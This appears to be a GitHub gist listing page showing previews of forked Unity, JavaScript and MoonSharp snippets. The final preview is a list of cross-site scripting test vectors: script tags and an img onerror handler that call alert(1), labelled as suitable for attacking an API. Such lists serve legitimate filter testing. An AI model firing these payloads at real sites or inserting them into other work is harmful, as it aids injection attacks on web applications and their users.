Skip to content

Instantly share code, notes, and snippets.

View unitycoder's full-sized avatar
‏‏‎

mika unitycoder

‏‏‎
View GitHub Profile
@unitycoder
unitycoder / SaveFBX.cs
Last active September 21, 2015 10:42 — forked from mstevenson/SaveFBX.cs
ASCII FBX file exporter for Unity. Extracted from Michal Mandrysz's Unity Summer of Code 2009 external lightmapping project.
using System;
using System.Collections;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Text;
using UnityEditor;
using UnityEngine;
/*
@unitycoder
unitycoder / ExampleClass.cs
Created December 2, 2015 23:19 — forked from shaunsales/ExampleClass.cs
Example Unity Class - How to format your code.
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class ExampleClass : MonoBehaviour // Try to name classes so other developers can infer their functionality. Abstract classes are prefixed with 'Base'
{
private enum WidgetType // Enums should end in 'Type' and can be inlined with the class if private, but generally should be relocated if public
{
None,
Circle,
Shader "Name" {
Properties {
name ("display name", Range (min, max)) = number
name ("display name", Float) = number
name ("display name", Int) = number
name ("display name", Color) = (number,number,number,number)
name ("display name", Vector) = (number,number,number,number)
@unitycoder
unitycoder / chat-frontend.js
Created June 21, 2016 04:09 — forked from martinsik/chat-frontend.js
Node.js chat frontend and server
$(function () {
"use strict";
// for better performance - to avoid searching in DOM
var content = $('#content');
var input = $('#input');
var status = $('#status');
// my color assigned by the server
var myColor = false;

Minecraft Ultimate Tool Set

Requires creative mode or operator power on a multiplayer server. On a single player game (survival or hardcore), you will need "cheats" enabled to move into creative mode. Don't forget to leave creative mode when done.

These items might be stupid. Be prepared to repair the country-side.

@unitycoder
unitycoder / InspectorButtonsTest.cs
Created February 8, 2017 04:46 — forked from LotteMakesStuff/InspectorButtonsTest.cs
Code running pack! two property drawing scripts that make it super easy to trigger code via buttons in the inspector, and get feedback! [TestButton] draws you little buttons that call a method on your MonoBehaviour, and [ProgressBar] give you a great way to show feedback from long running methods. These are *super* helpful for things like proced…
using UnityEngine;
using System.Collections;
public class InspectorButtonsTest : MonoBehaviour
{
[TestButton("Generate world", "DoProcGen", isActiveInEditor = false)]
[TestButton("Clear world", "ClearWorld", 2, isActiveInEditor = false)]
[ProgressBar(hideWhenZero = true, label = "procGenFeedback")]
public float procgenProgress = -1;
@unitycoder
unitycoder / baseConverter.js
Created February 9, 2017 05:11 — forked from faisalman/baseConverter.js
Convert From/To Binary/Decimal/Hexadecimal in JavaScript
/**
* Convert From/To Binary/Decimal/Hexadecimal in JavaScript
* https://gist.github.com/faisalman
*
* Copyright 2012-2015, Faisalman <fyzlman@gmail.com>
* Licensed under The MIT License
* http://www.opensource.org/licenses/mit-license
*/
(function(){
@unitycoder
unitycoder / EventHandlers in MoonSharp
Created May 2, 2017 02:11 — forked from xanathar/EventHandlers in MoonSharp
Sample of event handlers in MoonSharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MoonSharp.Interpreter;
namespace PerformanceComparison
{
class Sample
@unitycoder
unitycoder / MoonSharp_Threading.cs
Created May 2, 2017 02:12 — forked from xanathar/MoonSharp_Threading.cs
MoonSharp threading example
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using MoonSharp.Interpreter;
using MoonSharp.Interpreter.Interop;
namespace Playground
@unitycoder
unitycoder / 666_lines_of_XSS_vectors.html
Created June 5, 2017 08:35 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>